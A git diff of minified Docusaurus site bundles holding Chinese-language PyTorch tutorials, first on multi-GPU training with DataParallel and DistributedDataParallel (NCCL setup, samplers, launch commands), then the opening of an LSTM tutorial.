\u7b2c\u4e8c\u4e2a\u662f\u4f7f\u7528nccl\u9700\u8981\u8bbe\u7f6e\u7684\nos.environ['GLOO_SOCKET_IFNAME'] = 'eth0'\nos.environ['NCCL_SOCKET_IFNAME'] = 'eth0'\n"})}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsxs)(n.p,{children:["\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u64cd\u4f5c\u77e5\u9053\u81ea\u5df1\u7684\u7f51\u7edc\u63a5\u53e3\uff0c\u8f93\u5165",(0,s.jsx)(n.code,{children:"ifconfig"}),", \u7136\u540e\u627e\u5230\u81ea\u5df1IP\u5730\u5740\u7684\u5c31\u662f, \u4e00\u822c\u5c31\u662f",(0,s.jsx)(n.code,{children:"em0"}),", ",(0,s.jsx)(n.code,{children:"eth0"}),", ",(0,s.jsx)(n.code,{children:"esp2s0"}),"\u4e4b\u7c7b\u7684,"]}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4ece\u4ee5\u4e0a\u4ecb\u7ecd\u6211\u4eec\u53ef\u4ee5\u770b\u51fa\uff0c \u5f53\u4f7f\u7528GPU\u7684\u65f6\u5019, ",(0,s.jsx)(n.code,{children:"nccl"}),"\u7684\u6548\u7387\u662f\u9ad8\u4e8e",(0,s.jsx)(n.code,{children:"gloo"}),"\u7684\uff0c\u6211\u4eec\u4e00\u822c\u8fd8\u662f\u4f1a\u9009\u62e9",(0,s.jsx)(n.code,{children:"nccl"}),"\u540e\u7aef\uff0c\u8bbe\u7f6eGPU\u4e4b\u95f4\u901a\u4fe1\u4f7f\u7528\u7684\u540e\u7aef\u548c\u7aef\u53e3\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"# ps \u68c0\u67e5nccl\u662f\u5426\u53ef\u7528\n# torch.distributed.is_nccl_available ()\ntorch.distributed.init_process_group(backend='nccl') # \u9009\u62e9nccl\u540e\u7aef\uff0c\u521d\u59cb\u5316\u8fdb\u7a0b\u7ec4\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u4e4b\u540e\uff0c\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"DistributedSampler"})," \u5bf9\u6570\u636e\u96c6\u8fdb\u884c\u5212\u5206\u3002\u5b83\u80fd\u5e2e\u52a9\u6211\u4eec\u5c06\u6bcf\u4e2a batch \u5212\u5206\u6210\u51e0\u4e2a partition\uff0c\u5728\u5f53\u524d\u8fdb\u7a0b\u4e2d\u53ea\u9700\u8981\u83b7\u53d6\u548c rank \u5bf9\u5e94\u7684\u90a3\u4e2a partition \u8fdb\u884c\u8bad\u7ec3\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"# \u521b\u5efaDataloader\ntrain_sampler = torch.utils.data.distributed.DistributedSampler(train_dataset)\ntrain_loader = torch.utils.data.DataLoader(train_dataset, batch_size=16, sampler=train_sampler)\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6ce8\u610f\uff1a testset\u4e0d\u7528sampler"}),"\n",(0,s.jsxs)(n.p,{children:["\u7136\u540e\u4f7f\u7528",(0,s.jsx)(n.code,{children:"torch.nn.parallel.DistributedDataParallel"}),"\u5305\u88c5\u6a21\u578b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"# DDP\u8fdb\u884c\u8bad\u7ec3\nmodel = torch.nn.parallel.DistributedDataParallel(model, device_ids=[args.local_rank])\n"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u5982\u4f55\u542f\u52a8DDP"})}),"\n",(0,s.jsx)(n.p,{children:"\u90a3\u4e48\u5982\u4f55\u542f\u52a8DDP\uff0c\u8fd9\u4e0d\u540c\u4e8eDP\u7684\u65b9\u5f0f\uff0c\u9700\u8981\u4f7f\u7528torch.distributed.launch\u542f\u52a8\u5668\uff0c\u5bf9\u4e8e\u5355\u673a\u591a\u5361\u7684\u60c5\u51b5\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"CUDA_VISIBLE_DEVICES=0,1,2,3 python -m torch.distributed.launch --nproc_per_node=4 main.py\n# nproc_per_node: \u8fd9\u4e2a\u53c2\u6570\u662f\u6307\u4f60\u4f7f\u7528\u8fd9\u53f0\u670d\u52a1\u5668\u4e0a\u9762\u7684\u51e0\u5f20\u663e\u5361\n"})}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u6709\u65f6\u5019\u867d\u7136\u8bf4\uff0c\u53ef\u4ee5\u7b80\u5355\u4f7f\u7528DP\uff0c\u4f46\u662fDDP\u7684\u6548\u7387\u662f\u6bd4DP\u9ad8\u7684\uff0c\u6240\u4ee5\u5f88\u591a\u65f6\u5019\u5355\u673a\u591a\u5361\u7684\u60c5\u51b5\uff0c\u6211\u4eec\u8fd8\u662f\u4f1a\u53bb\u4f7f\u7528DDP"}),"\n"]}),"\n",(0,s.jsx)(n.h3,{id:"dp-\u4e0e-ddp-\u7684\u4f18\u7f3a\u70b9",children:"DP \u4e0e DDP \u7684\u4f18\u7f3a\u70b9"}),"\n",(0,s.jsx)(n.h4,{id:"dp-\u7684\u4f18\u52bf",children:"DP \u7684\u4f18\u52bf"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"nn.DataParallel"}),"\u6ca1\u6709\u6539\u53d8\u6a21\u578b\u7684\u8f93\u5165\u8f93\u51fa\uff0c\u56e0\u6b64\u5176\u4ed6\u90e8\u5206\u7684\u4ee3\u7801\u4e0d\u9700\u8981\u505a\u4efb\u4f55\u66f4\u6539\uff0c\u975e\u5e38\u65b9\u4fbf\uff0c\u4e00\u884c\u4ee3\u7801\u5373\u53ef\u641e\u5b9a\u3002"]}),"\n",(0,s.jsx)(n.h4,{id:"dp-\u7684\u7f3a\u70b9",children:"DP \u7684\u7f3a\u70b9"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"DP"}),"\u8fdb\u884c\u5206\u5e03\u5f0f\u591a\u5361\u8bad\u7ec3\u7684\u65b9\u5f0f\u5bb9\u6613\u9020\u6210\u8d1f\u8f7d\u4e0d\u5747\u8861\uff0c\u7b2c\u4e00\u5757GPU\u663e\u5b58\u5360\u7528\u66f4\u591a\uff0c\u56e0\u4e3a\u8f93\u51fa\u9ed8\u8ba4\u90fd\u4f1a\u88abgather\u5230\u7b2c\u4e00\u5757GPU\u4e0a\uff0c\u4e5f\u5c31\u662f\u540e\u7eed\u7684loss\u8ba1\u7b97\u53ea\u4f1a\u5728",(0,s.jsx)(n.code,{children:"cuda:0"}),"\u4e0a\u8fdb\u884c\uff0c\u6ca1\u6cd5\u5e76\u884c\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u9664\u6b64\u4e4b\u5916",(0,s.jsx)(n.code,{children:"DP"}),"\u53ea\u80fd\u5728\u5355\u673a\u4e0a\u4f7f\u7528\uff0c\u4e14",(0,s.jsx)(n.code,{children:"DP"}),"\u662f\u5355\u8fdb\u7a0b\u591a\u7ebf\u7a0b\u7684\u5b9e\u73b0\u65b9\u5f0f\uff0c\u6bd4",(0,s.jsx)(n.code,{children:"DDP"}),"\u591a\u8fdb\u7a0b\u591a\u7ebf\u7a0b\u7684\u65b9\u5f0f\u4f1a\u6548\u7387\u4f4e\u4e00\u4e9b\u3002"]}),"\n",(0,s.jsx)(n.h4,{id:"ddp\u7684\u4f18\u52bf",children:"DDP\u7684\u4f18\u52bf"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"1. \u6bcf\u4e2a\u8fdb\u7a0b\u5bf9\u5e94\u4e00\u4e2a\u72ec\u7acb\u7684\u8bad\u7ec3\u8fc7\u7a0b\uff0c\u4e14\u53ea\u5bf9\u68af\u5ea6\u7b49\u5c11\u91cf\u6570\u636e\u8fdb\u884c\u4fe1\u606f\u4ea4\u6362\u3002"})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:(0,s.jsx)(n.code,{children:"DDP"})})," \u5728\u6bcf\u6b21\u8fed\u4ee3\u4e2d\uff0c\u6bcf\u4e2a\u8fdb\u7a0b\u5177\u6709\u81ea\u5df1\u7684 ",(0,s.jsx)(n.code,{children:"optimizer"})," \uff0c\u5e76\u72ec\u7acb\u5b8c\u6210\u6240\u6709\u7684\u4f18\u5316\u6b65\u9aa4\uff0c\u8fdb\u7a0b\u5185\u4e0e\u4e00\u822c\u7684\u8bad\u7ec3\u65e0\u5f02\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u5404\u8fdb\u7a0b\u68af\u5ea6\u8ba1\u7b97\u5b8c\u6210\u4e4b\u540e\uff0c\u5404\u8fdb\u7a0b\u9700\u8981\u5c06",(0,s.jsx)(n.strong,{children:"\u68af\u5ea6"}),"\u8fdb\u884c\u6c47\u603b\u5e73\u5747\uff0c\u7136\u540e\u518d\u7531 ",(0,s.jsx)(n.code,{children:"rank=0"})," \u7684\u8fdb\u7a0b\uff0c\u5c06\u5176 ",(0,s.jsx)(n.code,{children:"broadcast"})," \u5230\u6240\u6709\u8fdb\u7a0b\u3002\u4e4b\u540e\uff0c\u5404\u8fdb\u7a0b\u7528\u8be5\u68af\u5ea6\u6765\u72ec\u7acb\u7684\u66f4\u65b0\u53c2\u6570\u3002\u800c ",(0,s.jsx)(n.code,{children:"DP"}),"\u662f",(0,s.jsx)(n.strong,{children:"\u68af\u5ea6\u6c47\u603b\u5230\u4e3b"})," ",(0,s.jsx)(n.code,{children:"GPU"}),"\uff0c",(0,s.jsx)(n.strong,{children:"\u53cd\u5411\u4f20\u64ad\u66f4\u65b0\u53c2\u6570"}),"\uff0c\u518d\u5e7f\u64ad\u53c2\u6570\u7ed9\u5176\u4ed6\u7684 GPU\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:(0,s.jsx)(n.code,{children:"DDP"})})," \u4e2d\u7531\u4e8e\u5404\u8fdb\u7a0b\u4e2d\u7684\u6a21\u578b\uff0c\u521d\u59cb\u53c2\u6570\u4e00\u81f4 (\u521d\u59cb\u65f6\u523b\u8fdb\u884c\u4e00\u6b21 ",(0,s.jsx)(n.code,{children:"broadcast"}),")\uff0c\u800c\u6bcf\u6b21\u7528\u4e8e\u66f4\u65b0\u53c2\u6570\u7684\u68af\u5ea6\u4e5f\u4e00\u81f4\uff0c\u56e0\u6b64\uff0c\u5404\u8fdb\u7a0b\u7684\u6a21\u578b\u53c2\u6570\u59cb\u7ec8\u4fdd\u6301\u4e00\u81f4\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u800c\u5728",(0,s.jsx)(n.code,{children:"DP"})," \u4e2d\uff0c\u5168\u7a0b\u7ef4\u62a4\u4e00\u4e2a ",(0,s.jsx)(n.code,{children:"optimizer"}),"\uff0c\u5bf9\u5404 ",(0,s.jsx)(n.code,{children:"GPU"})," \u4e0a\u68af\u5ea6\u8fdb\u884c\u6c42\u548c\uff0c\u800c\u5728\u4e3b ",(0,s.jsx)(n.code,{children:"GPU"})," \u8fdb\u884c\u53c2\u6570\u66f4\u65b0\uff0c\u4e4b\u540e\u518d\u5c06\u6a21\u578b\u53c2\u6570 ",(0,s.jsx)(n.code,{children:"broadcast"})," \u5230\u5176\u4ed6 ",(0,s.jsx)(n.code,{children:"GPU"}),"\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u76f8\u8f83\u4e8e**",(0,s.jsx)(n.code,{children:"DP"}),(0,s.jsx)(n.strong,{children:"\uff0c"}),(0,s.jsx)(n.code,{children:"DDP"}),"**\u4f20\u8f93\u7684\u6570\u636e\u91cf\u66f4\u5c11\uff0c\u56e0\u6b64\u901f\u5ea6\u66f4\u5feb\uff0c\u6548\u7387\u66f4\u9ad8\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"2. \u6bcf\u4e2a\u8fdb\u7a0b\u5305\u542b\u72ec\u7acb\u7684\u89e3\u91ca\u5668\u548c GIL\u3002"})}),"\n",(0,s.jsxs)(n.p,{children:["\u4e00\u822c\u4f7f\u7528\u7684 ",(0,s.jsx)(n.code,{children:"Python"})," \u89e3\u91ca\u5668 ",(0,s.jsx)(n.code,{children:"CPython"}),"\uff1a\u662f\u7528 ",(0,s.jsx)(n.code,{children:"C"})," \u8bed\u8a00\u5b9e\u73b0 ",(0,s.jsx)(n.code,{children:"Pyhon"}),"\uff0c\u662f\u76ee\u524d\u5e94\u7528\u6700\u5e7f\u6cdb\u7684\u89e3\u91ca\u5668\u3002\u5168\u5c40\u9501\u4f7f ",(0,s.jsx)(n.code,{children:"Python"})," \u5728\u591a\u7ebf\u7a0b\u6548\u80fd\u4e0a\u8868\u73b0\u4e0d\u4f73\uff0c\u5168\u5c40\u89e3\u91ca\u5668\u9501\uff08",(0,s.jsx)(n.code,{children:"Global Interpreter Lock"}),"\uff09\u662f ",(0,s.jsx)(n.code,{children:"Python"})," \u7528\u4e8e\u540c\u6b65\u7ebf\u7a0b\u7684\u5de5\u5177\uff0c\u4f7f\u5f97\u4efb\u4f55\u65f6\u523b\u4ec5\u6709\u4e00\u4e2a\u7ebf\u7a0b\u5728\u6267\u884c\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u7531\u4e8e\u6bcf\u4e2a\u8fdb\u7a0b\u62e5\u6709\u72ec\u7acb\u7684\u89e3\u91ca\u5668\u548c ",(0,s.jsx)(n.code,{children:"GIL"}),"\uff0c\u6d88\u9664\u4e86\u6765\u81ea\u5355\u4e2a ",(0,s.jsx)(n.code,{children:"Python"})," \u8fdb\u7a0b\u4e2d\u7684\u591a\u4e2a\u6267\u884c\u7ebf\u7a0b\uff0c\u6a21\u578b\u526f\u672c\u6216 ",(0,s.jsx)(n.code,{children:"GPU"})," \u7684\u989d\u5916\u89e3\u91ca\u5668\u5f00\u9500\u548c ",(0,s.jsx)(n.code,{children:"GIL-thrashing"})," \uff0c\u56e0\u6b64\u53ef\u4ee5\u51cf\u5c11\u89e3\u91ca\u5668\u548c ",(0,s.jsx)(n.code,{children:"GIL"})," \u4f7f\u7528\u51b2\u7a81\u3002\u8fd9\u5bf9\u4e8e\u4e25\u91cd\u4f9d\u8d56 ",(0,s.jsx)(n.code,{children:"Python runtime"})," \u7684 ",(0,s.jsx)(n.code,{children:"models"})," \u800c\u8a00\uff0c\u6bd4\u5982\u8bf4\u5305\u542b ",(0,s.jsx)(n.code,{children:"RNN"})," \u5c42\u6216\u5927\u91cf\u5c0f\u7ec4\u4ef6\u7684 ",(0,s.jsx)(n.code,{children:"models"})," \u800c\u8a00\uff0c\u8fd9\u5c24\u4e3a\u91cd\u8981\u3002"]}),"\n",(0,s.jsx)(n.h4,{id:"ddp-\u7684\u7f3a\u70b9",children:"DDP \u7684\u7f3a\u70b9"}),"\n",(0,s.jsxs)(n.p,{children:["\u6682\u65f6\u6765\u8bf4\uff0c",(0,s.jsx)(n.code,{children:"DDP"}),"\u662f\u91c7\u7528\u591a\u8fdb\u7a0b\u591a\u7ebf\u7a0b\u7684\u65b9\u5f0f\uff0c\u5e76\u4e14\u8bad\u7ec3\u901f\u5ea6\u8f83\u9ad8\uff0c\u4ed6\u7684\u7f3a\u70b9\u4e3b\u8981\u5c31\u662f\uff0c\u9700\u8981\u4fee\u6539\u6bd4\u8f83\u591a\u7684\u4ee3\u7801\uff0c\u6bd4",(0,s.jsx)(n.code,{children:"DP"}),"\u7684\u4e00\u884c\u4ee3\u7801\u8f83\u4e3a\u7e41\u7410\u8bb8\u591a\u3002"]}),"\n",(0,s.jsx)(n.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://blog.csdn.net/kuweicai/article/details/120516410",children:"Pytorch \u5e76\u884c\u8bad\u7ec3\uff08DP\uff0c DDP\uff09\u7684\u539f\u7406\u548c\u5e94\u7528"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://zhuanlan.zhihu.com/p/447563272",children:"Pytorch\u4e2d\u5355\u673a\u591a\u5361\u5206\u5e03\u5f0f\u8bad\u7ec3"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://medium.com/huggingface/training-larger-batches-practical-tips-on-1-gpu-multi-gpu-distributed-setups-ec88c3e51255",children:"Training Neural Nets on Larger Batches: Practical Tips for 1-GPU, Multi-GPU & Distributed setups"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://pytorch.org/docs/stable/generated/torch.nn.parallel.DistributedDataParallel.html?highlight=distributeddataparallel#torch.nn.parallel.DistributedDataParallel",children:"DISTRIBUTEDDATAPARALLEL"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://blog.csdn.net/ytusdc/article/details/122091284",children:"Pytorch \u5206\u5e03\u5f0f\u8bad\u7ec3\uff08DP/DDP\uff09"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://pytorch.org/docs/stable/distributed.html",children:"DISTRIBUTED COMMUNICATION PACKAGE - TORCH.DISTRIBUTED"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://zhuanlan.zhihu.com/p/86441879",children:"pytorch\u591agpu\u5e76\u884c\u8bad\u7ec3"})}),"\n"]})]})}function o(e={}){const{wrapper:n}={...(0,c.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}},50655:(e,n,l)=>{l.d(n,{A:()=>d});const d=l.p+"assets/images/split-5840479b580542fbf7a93b799897c79e.png"},69363:(e,n,l)=>{l.d(n,{A:()=>d});const d=l.p+"assets/images/DP-428ec15ac07925bbf216de1381477c9e.png"},69439:(e,n,l)=>{l.d(n,{A:()=>d});const d=l.p+"assets/images/model_parllel-a891317fd16aa7c19ce8a5bffbb56039.png"},76452:(e,n,l)=>{l.d(n,{A:()=>d});const d=l.p+"assets/images/data_parllel-b7e876b2d3c6296b93e3317afa55b78f.png"},86012:(e,n,l)=>{l.d(n,{A:()=>d});const d=l.p+"assets/images/backends-ae65df1ea1c7a666b8aa942afb622692.png"},88135:(e,n,l)=>{l.d(n,{A:()=>d});const d=l.p+"assets/images/DDP-4ac34f661bf8819d344cf21524c25540.png"}}]); \ No newline at end of file diff --git a/assets/js/571cdf6c.26af7ad0.js b/assets/js/571cdf6c.26af7ad0.js new file mode 100644 index 0000000..3681b30 --- /dev/null +++ b/assets/js/571cdf6c.26af7ad0.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2672],{20061:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/LSTM-gate_o-45e4bd42727e79a1e218dfe81cb9848c.jpg"},28453:(n,e,s)=>{s.d(e,{R:()=>h,x:()=>l});var i=s(96540);const d={},t=i.createContext(d);function h(n){const e=i.useContext(t);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(d):n.components||d:h(n.components),i.createElement(t.Provider,{value:e},n.children)}},34978:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/LSTM-arch-2c610904684f1728ec0c9404d9c23e4e.jpg"},43277:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/LSTM-update-1527d106c01e8adb342a5863f739224d.jpg"},47272:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/LSTM-gate_f-5c93006df95e14babe8307eeee3f3e9c.jpg"},82543:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/LSTM-gate_m-e52ee9258b3840e85cba7661e15f6b62.jpg"},92447:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>r,contentTitle:()=>l,default:()=>j,frontMatter:()=>h,metadata:()=>i,toc:()=>c});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218","title":"LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"10.3 \u56fe\u50cf\u5206\u5272.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272"},"next":{"title":"RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0"}}');var d=s(74848),t=s(28453);const h={},l="LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md",r={},c=[{value:"\u95e8",id:"\u95e8",level:2},{value:"\u9057\u5fd8\u95e8",id:"\u9057\u5fd8\u95e8",level:2},{value:"\u8bb0\u5fc6\u95e8",id:"\u8bb0\u5fc6\u95e8",level:2},{value:"\u72b6\u6001\u66f4\u65b0",id:"\u72b6\u6001\u66f4\u65b0",level:2},{value:"\u8f93\u51fa\u95e8",id:"\u8f93\u51fa\u95e8",level:2},{value:"\u6a21\u578b\u603b\u7ed3",id:"\u6a21\u578b\u603b\u7ed3",level:2},{value:"\u5b9e\u9a8c\u8bf4\u660e",id:"\u5b9e\u9a8c\u8bf4\u660e",level:2},{value:"\u6a21\u578b\u5b9e\u73b0",id:"\u6a21\u578b\u5b9e\u73b0",level:2},{value:"\u8d85\u53c2\u6570\u53ca\u53c2\u6570\u8bf4\u660e",id:"\u8d85\u53c2\u6570\u53ca\u53c2\u6570\u8bf4\u660e",level:2},{value:"MyLSTM \u4e0e nn.LSTM",id:"mylstm-\u4e0e-nnlstm",level:3},{value:"nn.RNN",id:"nnrnn",level:3},{value:"\u5b9e\u9a8c\u7ed3\u679c",id:"\u5b9e\u9a8c\u7ed3\u679c",level:2}];function x(n){const e={a:"a",code:"code",em:"em",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...n.components};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(e.header,{children:(0,d.jsx)(e.h1,{id:"lstm\u89e3\u8bfb\u53ca\u5b9e\u6218md",children:"LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(e.tbody,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{style:{textAlign:"left"},children:(0,d.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(e.tbody,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{style:{textAlign:"left"},children:(0,d.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,d.jsx)(e.h1,{id:"\u6587\u7ae0\u7ed3\u6784",children:"\u6587\u7ae0\u7ed3\u6784"}),"\n",(0,d.jsxs)(e.p,{children:["\u5728",(0,d.jsx)(e.a,{href:"/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E5%8D%81%E7%AB%A0/RNN%E8%AF%A6%E8%A7%A3%E5%8F%8A%E5%85%B6%E5%AE%9E%E7%8E%B0",children:"RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u6218"}),"\u4e2d\uff0c\u6211\u4eec\u7b80\u5355\u8ba8\u8bba\u4e86\u4e3a\u4ec0\u4e48\u9700\u8981RNN\u8fd9\u7c7b\u6a21\u578b\u3001RNN\u7684\u5177\u4f53\u601d\u8def\u3001RNN\u7684\u7b80\u5355\u5b9e\u73b0\u7b49\u95ee\u9898\u3002\u540c\u65f6\uff0c\u5728\u6587\u7ae0\u7ed3\u5c3e\u90e8\u5206\u6211\u4eec\u63d0\u5230\u4e86RNN\u5b58\u5728\u7684\u68af\u5ea6\u6d88\u5931\u95ee\u9898\uff0c\u53ca\u4e4b\u540e\u7684\u4e00\u4e2a\u89e3\u51b3\u65b9\u6848\uff1a",(0,d.jsx)(e.strong,{children:"LSTM"}),"\u3002\u56e0\u6b64\uff0c\u672c\u7bc7\u6587\u7ae0\u4e3b\u8981\u7ed3\u6784\u5982\u4e0b\uff1a"]}),"\n",(0,d.jsxs)(e.ol,{children:["\n",(0,d.jsx)(e.li,{children:"LSTM \u7406\u89e3\u53ca\u7b80\u5355\u5b9e\u73b0"}),"\n",(0,d.jsx)(e.li,{children:"LSTM \u5b9e\u6218"}),"\n",(0,d.jsx)(e.li,{children:"\u7ecf\u5178 RNN \u4e0e LSTM \u5bf9\u6bd4"}),"\n",(0,d.jsx)(e.li,{children:"\u5173\u4e8e\u68af\u5ea6\u6d88\u5931"}),"\n"]}),"\n",(0,d.jsx)(e.h1,{id:"lstm-\u7406\u89e3",children:"LSTM \u7406\u89e3"}),"\n",(0,d.jsx)(e.p,{children:"\u5176\u5b9e\uff0c\u6211\u4eec\u5c06 LSTM \u4e0e RNN \u8bf4\u6210\u4e24\u4e2a\u5e76\u4e0d\u53ef\u53d6\uff0c LSTM \u4f9d\u7136\u5f52\u5c5e\u4e8e RNN \u4e4b\u4e0b\uff0c\u76f8\u6bd4\u4e8e\u4f7f\u7528\u7ebf\u6027\u56de\u5f52\u65b9\u5f0f\u6765\u5904\u7406\u5e8f\u5217\u95ee\u9898\uff0c LSTM \u5176\u5b9e\u662f\u8bbe\u8ba1\u4e86\u4e00\u4e2a\u6a21\u5757\u6765\u53d6\u4ee3\u7ebf\u6027\u56de\u5f52\u7b97\u6cd5\u3002"}),"\n",(0,d.jsxs)(e.p,{children:["LSTM(Long Short-Term Memory)\uff0c\u7ffb\u8bd1\u8fc7\u6765\u662f\u957f\u77ed\u671f\u8bb0\u5fc6\u6cd5\uff0c\u5176\u6838\u5fc3\u601d\u60f3\u53ef\u4ee5\u8bf4\u975e\u5e38\u7684\u7b80\u5355\uff1a\u65e2\u7136 RNN \u53ea\u80fd\u4fdd\u5b58\u77ed\u671f\u7684\u8bb0\u5fc6\uff0c\u90a3\u6211\u589e\u52a0\u4e00\u4e2a\u957f\u671f\u8bb0\u5fc6\uff0c\u4e0d\u5c31\u53ef\u4ee5\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u4e86\u540d\uff1f\u56e0\u6b64\uff0cLSTM\u63d0\u51fa\u4e86\u957f\u671f\u8bb0\u5fc6\u548c\u77ed\u671f\u8bb0\u5fc6\uff0c\u901a\u8fc7\u8c03\u6574\u957f\u671f\u8bb0\u5fc6\u548c\u77ed\u671f\u8bb0\u5fc6\u4e4b\u95f4\u7684\u6bd4\u4f8b\uff0c\u6765\u7ef4\u6301\u957f\u671f\u8bb0\u5fc6\u7684\u53ef\u9760\uff0c\u964d\u4f4e RNN 